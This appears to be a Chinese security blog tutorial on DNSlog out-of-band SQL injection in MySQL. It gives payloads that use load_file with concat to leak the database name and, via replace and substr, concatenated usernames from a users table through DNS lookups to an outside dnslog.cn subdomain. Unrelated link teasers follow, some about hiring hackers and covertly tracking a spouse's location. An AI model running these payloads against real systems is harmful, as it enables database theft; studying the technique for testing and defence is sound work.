DNSlog注入详细解析

访客4年前黑客资讯1095


DNSlog注入语句

select load_file(concat('\\\\',(select database()),'.gitw7c.dnslog.cn/abc'));

//转换之后的结果为:\\security.gitw7c.dnslog.cn

原理是load_file通过请求security.gitw7c.dnslog.cn下的/abc文件时留下dns解析记录来获取信息的。

域名知识:

域名可以分为5级,从右向左解析,用 . 分割级别,低级别的域名要在高级别的域名中去解析,所以当security.gitw7c.dnslog.cn去gitw7c.dnslog.cn中去解析的时候,就会留下解析记录,通过获取前来解析的低级域名前缀来获取我们需要的信息
由于每一级域名的长度只能为63个字符,所以在mysql中获取到超过63个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作,所以gitw7c.dnslog.cn也不会收到解析的记录,所以我们就获取不到想要的信息了
1609138708_5fe982145b303fee7c932.png!small?1609138709598
域名里有一个规则,只能出现数字,字母,下划线;所以在获取到的信息中包含了其他特殊符号时,load_file就会认为是一个错误的域名,就不会去从 *** 中解析了。


如:
1609138413_5fe980ed4a2f088d1b382.png!small?1609138414633
当前我的数据库名为security,是以字母开头的,在域名规则内是允许的,所以load_file会向域名进行解析
1609138427_5fe980fb3cec4799c6e7b.png!small?1609138428518

sql payload

当我在域名中拼接一个@符号时,就不会进行解析
1609138439_5fe9810779de49e8b1da1.png!small?1609138440761

1609138452_5fe9811496e01b6397e36.png!small?1609138453908
也就不会有解析记录

我们在使用group_concat合并查询时,会自动使用 "," 连接我们查询到的每值,但是由于 , 在url中是不允许出现的,所以使用group查询到的值去解析时候,mysql就会认为这不是一个url地址,就不会出现解析的操作,所以就没法获取到值,
1609138471_5fe98127ac52b96f45764.png!small?1609138472939

更佳方案

不过事情总是有解决的办法的,通过我不断地构造语句,之后使用replace,substr等函数,成功绕过了url解析的问题
如:
select load_file(concat('\\\\',(select SUBSTR(replace((group_concat(username )),',','_'),1,63) from users),'.qnpqsu.dnslog.cn/abc'))
通过正则替换将replace中的 “ ,”全部替换为 “ _ ” 这样就可以符合url的解析规则了,并且我们只需要将查询结果的字符长度控制在63个就可以了.
如图:
1609138557_5fe9817d0ebaae06cbe7f.png!small?16091385583281609138565_5fe981855e7b2ffd90dec.png!small?1609138566675


作者:GoodXuan ? ·
学校:必安科技-必火 *** 安全? ? ? ? ? ? ? ? ? ? ? ?·
E-mail:2596456807@qq.com? ·
如若转载请在文章中表明原文章出处与作者? ·


相关文章

找引流代挂的黑客-黑客网赌的挂(黑客做挂软件)

找引流代挂的黑客-黑客网赌的挂(黑客做挂软件)

找引流代挂的黑客相关问题 求黑客的联系方式相关问题 黑客主要用什么编程语言 程序员是世界十大黑客之一吗(世界十大黑客组织)...

加盟什么馄饨品牌好(馄饨有什么好吃的牌子)

加盟什么馄饨品牌好(馄饨有什么好吃的牌子)

在中国的餐饮文化中,馄饨占有着非常高的地位。几年来,以馄饨为主打的馄饨加盟品牌走进了大家的视野。在不少的馄饨加盟品牌中,人气最高的要数如意馄饨了。其以优良、营养价值颇高、口味绝佳的馄饨征服了一大批食客...

用户预期在运营中的作用,你懂么?

用户预期在运营中的作用,你懂么?

预期是什么?预期就是你所但愿看到可能获得的对象。在我们运营的进程中,也要以用户预期为中心,让用户感想满足和幸福,这样才气到达事半功倍的结果。 抛开事情,各人认为什么是幸福。能吃饱饭是幸福吗,身家过亿是...

注册表怎么进不去【教你5步解决方法】

注册表怎么进不去(教你5步解决方法) 电脑注册表打不开怎么办?最近有用户反映 ,一直无法打开电脑的注册表,如何解决这个问题?下面为大家解答。 解决办法: 1.使用快捷键win键+r键,打开运行对...

win10系统关闭操作中心通知的方法

通知中心是系统各种消息提醒的地方,它位于系统桌面的最右下角,但什么东西显示多了,就会让人感觉烦忧,所以我们可以参考下面的方法让它直接不显示! 1、在桌面环境下,右击选择“个性化”; 2、然后,选择...

中国黑客禁赛真实原因-简单方法查看老公位置-构造ASP注入点

简易方式查询丈夫部位-结构ASP注入点 为了更好地检测WAF,要写一个ASP MSSQL2005的注入点,自身又不容易ASP,因此在网上查来到这一文章,文章尽管很老,可是方式确是较为好用的。 最先...